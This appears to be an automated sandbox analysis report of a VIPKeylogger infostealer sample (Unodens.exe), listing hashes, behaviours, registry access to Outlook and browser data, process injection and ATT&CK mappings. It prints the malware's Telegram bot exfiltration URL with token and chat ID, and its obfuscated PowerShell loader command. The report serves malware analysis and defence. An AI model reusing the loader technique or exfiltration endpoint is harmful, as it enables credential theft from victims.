Analysis
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max time kernel
140s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20250410-en -
resource tags
arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system -
submitted
14/04/2025, 13:11
Static task
static1
Behavioral task
behavioral1
Sample
Unodens.exe
Resource
win10v2004-20250410-en
Behavioral task
behavioral2
Sample
Nikkellegering.ps1
Resource
win10v2004-20250410-en
General
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Target
Unodens.exe
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Size
1.0MB
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MD5
bb02b2519acf35d79d4cddcb650faa0d
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SHA1
9f6c09441b9f2ac91953bfbc58ff2fb69d95e764
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SHA256
7638cea93334af3658ccd523affd183a8eac3fc833a31f4dce7a53648fb88ef3
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SHA512
575ef5ef863fcc7cd6d92a5ebead8fd56ce0ef4c76a41ad5892813bf3a7432f7d87a4f14fb7d4778ff5f4f4948b6490ed23c32b9d1f1eb5893ffb5c5fa1b5a5b
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SSDEEP
24576:ihzDt9Q2MEf50qCx/MK+sqVj50LLoborPpIgaQQhN+AW:iBDt9JfuHxV+h70A0CZLW
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7950187892:AAGsaHbTZULExJN6JaJZFgwgKccygMmel5s/sendMessage?chat_id=7050097659
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Loads dropped DLL 1 IoCs
pid Process 1968 Arseniate.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3078542121-369484597-920690335-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Arseniate.exe Key opened \REGISTRY\USER\S-1-5-21-3078542121-369484597-920690335-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Arseniate.exe Key opened \REGISTRY\USER\S-1-5-21-3078542121-369484597-920690335-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Arseniate.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 17 drive.google.com 18 drive.google.com -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 35 checkip.dyndns.org 38 reallyfreegeoip.org 39 reallyfreegeoip.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 1968 Arseniate.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3764 powershell.exe 1968 Arseniate.exe -
Drops file in Program Files directory 2 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Jobname.ini Unodens.exe File opened for modification C:\Program Files (x86)\Common Files\forums\dugs.ini Unodens.exe -
pid Process 3764 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Unodens.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Arseniate.exe -
NSIS installer 2 IoCs
resource yara_rule behavioral1/files/0x000b00000001e6d6-84.dat nsis_installer_1 behavioral1/files/0x000b00000001e6d6-84.dat nsis_installer_2 -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 3764 powershell.exe 3764 powershell.exe 3764 powershell.exe 3764 powershell.exe 3764 powershell.exe 3764 powershell.exe 3764 powershell.exe 3764 powershell.exe 3764 powershell.exe 1968 Arseniate.exe 1968 Arseniate.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 3764 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 3764 powershell.exe Token: SeIncreaseQuotaPrivilege 3764 powershell.exe Token: SeSecurityPrivilege 3764 powershell.exe Token: SeTakeOwnershipPrivilege 3764 powershell.exe Token: SeLoadDriverPrivilege 3764 powershell.exe Token: SeSystemProfilePrivilege 3764 powershell.exe Token: SeSystemtimePrivilege 3764 powershell.exe Token: SeProfSingleProcessPrivilege 3764 powershell.exe Token: SeIncBasePriorityPrivilege 3764 powershell.exe Token: SeCreatePagefilePrivilege 3764 powershell.exe Token: SeBackupPrivilege 3764 powershell.exe Token: SeRestorePrivilege 3764 powershell.exe Token: SeShutdownPrivilege 3764 powershell.exe Token: SeDebugPrivilege 3764 powershell.exe Token: SeSystemEnvironmentPrivilege 3764 powershell.exe Token: SeRemoteShutdownPrivilege 3764 powershell.exe Token: SeUndockPrivilege 3764 powershell.exe Token: SeManageVolumePrivilege 3764 powershell.exe Token: 33 3764 powershell.exe Token: 34 3764 powershell.exe Token: 35 3764 powershell.exe Token: 36 3764 powershell.exe Token: SeDebugPrivilege 1968 Arseniate.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2296 wrote to memory of 3764 2296 Unodens.exe 89 PID 2296 wrote to memory of 3764 2296 Unodens.exe 89 PID 2296 wrote to memory of 3764 2296 Unodens.exe 89 PID 3764 wrote to memory of 1968 3764 powershell.exe 94 PID 3764 wrote to memory of 1968 3764 powershell.exe 94 PID 3764 wrote to memory of 1968 3764 powershell.exe 94 PID 3764 wrote to memory of 1968 3764 powershell.exe 94 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3078542121-369484597-920690335-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Arseniate.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3078542121-369484597-920690335-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Arseniate.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Unodens.exe"C:\Users\Admin\AppData\Local\Temp\Unodens.exe"1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2296 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle 1 "$Civilhortonomernes=GC -raw 'C:\Users\Admin\AppData\Local\Temp\antoni\Kiaugh90\spiralfjedrene\Nikkellegering.Den';$Bajonetten=$Civilhortonomernes.SubString(54540,3);.$Bajonetten($Civilhortonomernes)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Users\Admin\AppData\Local\Temp\Arseniate.exe"C:\Users\Admin\AppData\Local\Temp\Arseniate.exe"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1968
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Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.0MB
MD5bb02b2519acf35d79d4cddcb650faa0d
SHA19f6c09441b9f2ac91953bfbc58ff2fb69d95e764
SHA2567638cea93334af3658ccd523affd183a8eac3fc833a31f4dce7a53648fb88ef3
SHA512575ef5ef863fcc7cd6d92a5ebead8fd56ce0ef4c76a41ad5892813bf3a7432f7d87a4f14fb7d4778ff5f4f4948b6490ed23c32b9d1f1eb5893ffb5c5fa1b5a5b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
53KB
MD5daee23494cb2039ad5ea0486945a0df0
SHA1f6982455b15c62ba79500f3f1c953c7c30ad3ddd
SHA256c2d9b8b50e800c97958e1680266d11587e46929325ce7895705bb1798a03b6c8
SHA512b657ed6717e21cbcf74fc463a869c53fa55b4a3deb4dbb7585bcbef89156cf7626a778f7e83377a0cdd585ef2de0e8d8ce06e86b31f38733e60030b6f2f5e779
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Filesize
453KB
MD5312355bd2c5ba9a0de3f46dc2491a466
SHA1308789dcad035ef6fbae7e2f222070ae9a9b8417
SHA256b7fe878ceeb4152b0a53ac714af5b1cdb43bb6e9a6522f50f41986e94e68b330
SHA5127ddc523a04cd3bd668d8ffbf2ff24e91f92817d416d904ae7fff501dbd1cce2ea590d7c364701f6d6135ae1f5f247f9d1d4347dfb39a274824df59e8b0e63ec0